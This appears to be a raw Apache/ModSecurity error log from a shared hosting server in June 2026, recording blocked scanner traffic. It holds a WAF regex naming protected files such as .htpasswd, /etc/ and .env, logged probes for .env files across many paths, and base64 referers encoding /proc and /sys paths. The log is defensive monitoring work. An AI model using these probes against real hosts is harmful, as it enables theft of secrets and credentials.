ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFFWSojQL4F7upKBk-QAAAPI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:24.740951 2026] [security2:error] [pid 648189:tid 648395] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ftpmaster/.env"] [unique_id "ai3zFFWSojQL4F7upKBk_AAAAK8"] [Sat Jun 13 18:17:24.817495 2026] [security2:error] [pid 648189:tid 648428] [client 34.23.213.224:41008] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFFWSojQL4F7upKBk_wAAAM8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:24.879694 2026] [security2:error] [pid 648189:tid 648392] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/functions/.env"] [unique_id "ai3zFFWSojQL4F7upKBlAwAAAKw"] [Sat Jun 13 18:17:24.982389 2026] [security2:error] [pid 646876:tid 647028] [client 34.23.213.224:41022] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFNyTkdrNlD40tSGubAAAABQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:25.130065 2026] [security2:error] [pid 646876:tid 646987] [remote 17.246.15.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zFdyTkdrNlD40tSGucwAATWw"] [Sat Jun 13 18:17:25.130122 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.92:26122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:25.130564 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.92:26122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:25.144589 2026] [security2:error] [pid 646876:tid 647041] [client 34.23.213.224:41028] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFdyTkdrNlD40tSGudQAAACE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:25.174535 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.242.16:59276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:25.175032 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.242.16:59276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:25.176959 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:25.177472 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:25.182867 2026] [security2:error] [pid 648189:tid 648447] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/gcp/.env"] [unique_id "ai3zFVWSojQL4F7upKBlFwAAAOE"] [Sat Jun 13 18:17:25.193678 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.27:39734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:25.194151 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.27:39734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:25.205599 2026] [security2:error] [pid 646876:tid 647067] [client 36.68.124.48:64891] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.124.68.36.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bsj.lfk.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3zFdyTkdrNlD40tSGueAAAADs"] [Sat Jun 13 18:17:25.308077 2026] [security2:error] [pid 646876:tid 647014] [client 34.23.213.224:41042] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFdyTkdrNlD40tSGuegAAAAY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:25.372509 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.69:47270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:25.372980 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.69:47270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:25.409526 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.82:46848] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:25.409982 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.82:46848] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:25.469730 2026] [security2:error] [pid 648189:tid 648403] [client 34.23.213.224:41046] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFVWSojQL4F7upKBlIQAAALc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:25.614989 2026] [security2:error] [pid 648189:tid 648225] [remote 17.241.227.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zFVWSojQL4F7upKBlJgAAlAU"] [Sat Jun 13 18:17:25.628831 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9zZXJpbzE= [Sat Jun 13 18:17:25.629268 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9zZXJpbzE= [Sat Jun 13 18:17:25.633139 2026] [security2:error] [pid 648189:tid 648383] [client 34.23.213.224:41060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFVWSojQL4F7upKBlKQAAAKM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:25.763835 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.9:37116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:25.764108 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.9:37116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:25.774303 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/github-connect/.env"] [unique_id "ai3zFVWSojQL4F7upKBlMAAAALo"] [Sat Jun 13 18:17:25.779084 2026] [security2:error] [pid 648189:tid 648317] [remote 17.22.253.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zFVWSojQL4F7upKBlLwAAvF8"] [Sat Jun 13 18:17:25.795122 2026] [security2:error] [pid 646876:tid 647069] [client 34.23.213.224:41062] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFdyTkdrNlD40tSGuhQAAAD0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:25.908406 2026] [security2:error] [pid 646876:tid 647127] [client 36.68.124.48:63921] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.124.68.36.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bsj.lfk.mybluehost.me"] [uri "/test.php"] [unique_id "ai3zFdyTkdrNlD40tSGuiAAAAHc"] [Sat Jun 13 18:17:25.913444 2026] [security2:error] [pid 648189:tid 648449] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/google/.env"] [unique_id "ai3zFVWSojQL4F7upKBlOAAAAOM"] [Sat Jun 13 18:17:25.961794 2026] [security2:error] [pid 646876:tid 647125] [client 34.23.213.224:41074] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFdyTkdrNlD40tSGulQAAAHU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:26.125496 2026] [security2:error] [pid 648189:tid 648422] [client 34.23.213.224:41076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFlWSojQL4F7upKBlQAAAAMk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:26.167959 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjBj [Sat Jun 13 18:17:26.168386 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjBj [Sat Jun 13 18:17:26.172150 2026] [security2:error] [pid 646876:tid 646914] [remote 91.200.40.110:32864] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.40.200.91.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cantrade.com.sg"] [uri "/wp-login.php"] [unique_id "ai3zFtyTkdrNlD40tSGuoQAAXyM"] [Sat Jun 13 18:17:26.227894 2026] [security2:error] [pid 646876:tid 646948] [remote 17.241.75.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zFtyTkdrNlD40tSGuowAAFEU"] [Sat Jun 13 18:17:26.287286 2026] [security2:error] [pid 648189:tid 648394] [client 34.23.213.224:41084] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFlWSojQL4F7upKBlRgAAAK4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:26.361640 2026] [security2:error] [pid 648189:tid 648414] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/grems-api/.env"] [unique_id "ai3zFlWSojQL4F7upKBlSAAAAME"] [Sat Jun 13 18:17:26.449191 2026] [security2:error] [pid 648189:tid 648373] [client 34.23.213.224:41098] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFlWSojQL4F7upKBlSgAAAJk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:26.499198 2026] [security2:error] [pid 648189:tid 648446] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/grems-frontend/.env"] [unique_id "ai3zFlWSojQL4F7upKBlTQAAAOA"] [Sat Jun 13 18:17:26.562062 2026] [security2:error] [pid 646876:tid 646912] [remote 91.200.40.110:32864] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.40.200.91.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cantrade.com.sg"] [uri "/wp-login.php"] [unique_id "ai3zFtyTkdrNlD40tSGuqgAAfSE"], referer: https://cantrade.com.sg/wp-login.php [Sat Jun 13 18:17:26.609926 2026] [security2:error] [pid 646876:tid 647020] [client 34.23.213.224:41100] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFtyTkdrNlD40tSGuqwAAAAw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:26.637748 2026] [security2:error] [pid 648189:tid 648382] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Hash/.env"] [unique_id "ai3zFlWSojQL4F7upKBlTwAAAKI"] [Sat Jun 13 18:17:26.693080 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:17:26.693426 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 